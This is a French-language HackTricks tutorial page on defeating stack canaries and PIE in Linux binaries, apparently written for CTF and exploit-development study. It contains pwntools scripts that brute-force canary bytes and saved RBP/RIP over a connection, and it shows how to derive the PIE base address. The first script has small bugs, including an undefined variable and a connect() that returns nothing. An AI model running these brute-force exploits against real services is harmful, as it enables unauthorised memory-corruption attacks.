hacktricks/exploiting/linux-exploiting-basic-esp/bypassing-canary-and-pie.md
2023-06-03 13:10:46 +00:00

11 KiB

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Si vous êtes confronté à un binaire protégé par un canari et PIE (Position Independent Executable), vous devez probablement trouver un moyen de les contourner.

{% hint style="info" %} Notez que checksec pourrait ne pas trouver qu'un binaire est protégé par un canari s'il a été compilé de manière statique et qu'il n'est pas capable d'identifier la fonction.
Cependant, vous pouvez le remarquer manuellement si vous trouvez qu'une valeur est enregistrée dans la pile au début d'un appel de fonction et que cette valeur est vérifiée avant de sortir. {% endhint %}

Brute force Canary

La meilleure façon de contourner un simple canari est si le binaire est un programme qui crée des processus enfants à chaque fois que vous établissez une nouvelle connexion avec lui (service réseau), car chaque fois que vous vous connectez à lui, le même canari sera utilisé.

Ensuite, la meilleure façon de contourner le canari est simplement de le forcer par caractère, et vous pouvez savoir si le byte de canari deviné était correct en vérifiant si le programme a planté ou continue son flux régulier. Dans cet exemple, la fonction force un canari de 8 octets (x64) et distingue entre un byte correctement deviné et un byte incorrect simplement en vérifiant si une réponse est renvoyée par le serveur (une autre façon dans d'autres situations pourrait être d'utiliser un try/except):

Exemple 1

Cet exemple est implémenté pour 64 bits mais pourrait être facilement implémenté pour 32 bits.

from pwn import *

def connect():
    r = remote("localhost", 8788)

def get_bf(base):
    canary = ""
    guess = 0x0
    base += canary

    while len(canary) < 8:
        while guess != 0xff:
            r = connect()

            r.recvuntil("Username: ")
            r.send(base + chr(guess))

            if "SOME OUTPUT" in r.clean():
                print "Guessed correct byte:", format(guess, '02x')
                canary += chr(guess)
                base += chr(guess)
                guess = 0x0
                r.close()
                break
            else:
                guess += 1
                r.close()

    print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
    return base
    
canary_offset = 1176
base = "A" * canary_offset
print("Brute-Forcing canary")
base_canary = get_bf(base) #Get yunk data + canary
CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary

Exemple 2

Ceci est implémenté pour 32 bits, mais cela pourrait être facilement modifié pour 64 bits.
Notez également que pour cet exemple, le programme s'attend d'abord à un octet pour indiquer la taille de l'entrée et la charge utile.

from pwn import *

# Here is the function to brute force the canary
def breakCanary():
	known_canary = b""
	test_canary = 0x0
	len_bytes_to_read = 0x21
	
	for j in range(0, 4):
		# Iterate up to 0xff times to brute force all posible values for byte
		for test_canary in range(0xff):
			print(f"\rTrying canary: {known_canary} {test_canary.to_bytes(1, 'little')}", end="")
			
			# Send the current input size
			target.send(len_bytes_to_read.to_bytes(1, "little"))

			# Send this iterations canary
			target.send(b"0"*0x20 + known_canary + test_canary.to_bytes(1, "little"))

			# Scan in the output, determine if we have a correct value
			output = target.recvuntil(b"exit.")
			if b"YUM" in output:
				# If we have a correct value, record the canary value, reset the canary value, and move on
				print(" - next byte is: " + hex(test_canary))
				known_canary = known_canary + test_canary.to_bytes(1, "little")
				len_bytes_to_read += 1
				break

	# Return the canary
	return known_canary

# Start the target process
target = process('./feedme')
#gdb.attach(target)

# Brute force the canary
canary = breakCanary()
log.info(f"The canary is: {canary}")

Afficher le Canary

Une autre façon de contourner le canary est de l'afficher.
Imaginez une situation où un programme vulnérable à un débordement de pile peut exécuter une fonction puts pointant vers une partie du débordement de pile. L'attaquant sait que le premier octet du canary est un octet nul (\x00) et que le reste du canary est composé d'octets aléatoires. Ensuite, l'attaquant peut créer un débordement qui écrase la pile jusqu'au premier octet du canary.
Ensuite, l'attaquant appelle la fonctionnalité puts sur le milieu de la charge utile qui affichera tout le canary (sauf le premier octet nul).
Avec ces informations, l'attaquant peut créer et envoyer une nouvelle attaque en connaissant le canary (dans la même session de programme)

Évidemment, cette tactique est très limitée car l'attaquant doit être capable d'afficher le contenu de sa charge utile pour extraire le canary et ensuite être capable de créer une nouvelle charge utile (dans la même session de programme) et envoyer le vrai débordement de tampon.
Exemple de CTF : https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html

PIE

Pour contourner le PIE, vous devez fuir une adresse. Et si le binaire ne fuit pas d'adresses, le mieux à faire est de forcer le RBP et le RIP enregistrés dans la pile dans la fonction vulnérable.
Par exemple, si un binaire est protégé à la fois par un canary et PIE, vous pouvez commencer à forcer le canary, puis les 8 octets suivants (x64) seront le RBP enregistré et les 8 octets suivants seront le RIP enregistré.

Pour forcer le RBP et le RIP à partir du binaire, vous pouvez déterminer qu'un octet deviné valide est correct si le programme produit quelque chose ou s'il ne plante pas. La même fonction que celle fournie pour forcer le canary peut être utilisée pour forcer le RBP et le RIP :

print("Brute-Forcing RBP")
base_canary_rbp = get_bf(base_canary)
RBP = u64(base_canary_rbp[len(base_canary_rbp)-8:])
print("Brute-Forcing RIP")
base_canary_rbp_rip = get_bf(base_canary_rbp)
RIP = u64(base_canary_rbp_rip[len(base_canary_rbp_rip)-8:])

Obtenir l'adresse de base

La dernière chose dont vous avez besoin pour vaincre le PIE est de calculer des adresses utiles à partir des adresses divulguées : le RBP et le RIP.

À partir du RBP, vous pouvez calculer où vous écrivez votre shell dans la pile. Cela peut être très utile pour savoir où vous allez écrire la chaîne "/bin/sh\x00" à l'intérieur de la pile. Pour calculer la distance entre le RBP divulgué et votre shellcode, vous pouvez simplement mettre un point d'arrêt après avoir divulgué le RBP et vérifier où se trouve votre shellcode, puis vous pouvez calculer la distance entre le shellcode et le RBP :

INI_SHELLCODE = RBP - 1152

À partir du RIP, vous pouvez calculer l'adresse de base du binaire PIE dont vous aurez besoin pour créer une chaîne ROP valide.
Pour calculer l'adresse de base, il suffit de faire objdump -d vunbinary et de vérifier les dernières adresses de désassemblage :

Dans cet exemple, vous pouvez voir qu'il ne faut que 1 byte et demi pour localiser tout le code, puis l'adresse de base dans cette situation sera le RIP divulgué mais se terminant par "000". Par exemple, si vous avez divulgué 0x562002970ecf, l'adresse de base est 0x562002970000.

elf.address = RIP - (RIP & 0xfff)
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥